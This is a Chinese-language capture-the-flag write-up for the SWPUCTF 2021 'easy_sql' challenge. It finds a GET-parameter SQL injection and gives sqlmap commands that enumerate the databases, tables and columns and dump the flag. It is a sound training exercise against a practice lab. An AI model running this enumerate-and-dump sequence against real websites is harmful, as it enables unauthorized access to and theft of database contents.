导言:
本文主要讲述在CTF竞赛中,web类SQL注入题目[SWPUCTF 2021 新生赛]easy_sql。
靶场链接:[SWPUCTF 2021 新生赛]easy_sql | NSSCTF
SQL注入:
SQL labs靶场-SQL注入入门_sql注入靶场-优快云博客
一,观察页面。
从页面标签可以知道传参数是wllm。
二,测试漏洞存在。
可以知道,存在SQL注入漏洞,并且传参方式是get。
三,使用sqlmap梭哈。
sqlmap使用方法详见:SQL labs-SQL注入(三,sqlmap使用)_sqlmap sql-labs-优快云博客
使用sqlmap进行注入,可以看到,已经证实确实存在SQL注入漏洞。
sqlmap -u http://node4.anna.nssctf.cn:28234/?wllm=1 --dbs
得到所有库名。
sqlmap -u http://node4.anna.nssctf.cn:28234/?wllm=1 -D test_db --tables
得到 test_db 库下的所有表名。
sqlmap -u http://node4.anna.nssctf.cn:28234/?wllm=1 -D test_db -T test_tb --columns
找到flag所在字段。
sqlmap -u http://node4.anna.nssctf.cn:28234/?wllm=1 -D test_db -T test_tb -C flag --dump
得到flag。
四,后记。
sqlmap是很常见的SQL注入工具,但也不排除存在无法使用的情况,此时就应该使用手工注入;
文章链接:SQL labs-SQL注入(六)-优快云博客。
同时也可能伴随着很多的过滤与干扰项,也有可能与其他漏洞共同存在,综合利用才能得到flag。